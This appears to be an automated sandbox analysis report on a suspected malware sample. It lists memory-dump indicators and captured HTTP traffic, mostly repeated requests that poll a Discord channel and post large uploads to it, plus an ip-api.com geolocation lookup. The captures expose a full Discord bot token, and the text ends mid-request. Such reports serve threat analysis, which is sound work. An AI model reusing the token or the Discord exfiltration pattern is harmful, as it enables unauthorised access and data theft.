Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000003.176644.AC01E000.00000002.mdmp") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp")3c:T45d,Found string "ERROR_DECODING_ENCRYPTEDKEY" (Indicator: "encryptedkey"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "ERROR_DECRYPTING_ENCRYPTEDKEY" (Indicator: "encryptedkey"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found string "ERROR_VERIFYING_ENCRYPTEDKEY" (Indicator: "encryptedkey"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp")3d:T68ad,Contains base64 string in header "Encoding" in header "GET /api/v10/users/@me HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/users/@me HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/users/@me HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "city" in header "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-alive" Contains base64 string in header "timezone" in header "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-alive" Contains base64 string in header "Encoding" in header "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-alive" Contains base64 string in header "gzip" in header "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-alive" Contains base64 string in header "keep" in header "GET /json/?fields=status,country,countryCode,regionName,city,zip,lat,lon,timezone,isp,org,as,query HTTP/1.1Host: ip-api.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-alive" Contains base64 string in header "POST" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "Encoding" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "gzip" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "keep" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "Type" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "form" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 515Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "POST" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "Encoding" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "gzip" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "keep" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "Type" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "data" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "b5124d5b35bc1b92aa9d0a3a2342cbe8" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 965Content-Type: multipart/form-data; boundary=b5124d5b35bc1b92aa9d0a3a2342cbe8" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "POST" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "Encoding" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "gzip" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "keep" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "Type" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "data" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "f2f909fb2122e4e1dee2db9818bf171b" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 248537Content-Type: multipart/form-data; boundary=f2f909fb2122e4e1dee2db9818bf171b" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272327903412266&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272366486949983&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272429388800071&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272445683540179&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "Encoding" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "gzip" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "keep" in header "GET /api/v10/channels/1567592947002908814/messages?after=1568272482702590067&limit=25 HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI" Contains base64 string in header "POST" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fIContent-Length: 24Content-Type: application/x-www-form-urlencoded" Contains base64 string in header "Encoding" in header "POST /api/v10/channels/1567592947002908814/messages HTTP/1.1Host: discord.comUser-Agent: python-requests/2.34.2Accept-Encoding: gzip, deflate, zstdAccept: */*Connection: keep-aliveAuthorization: Bot 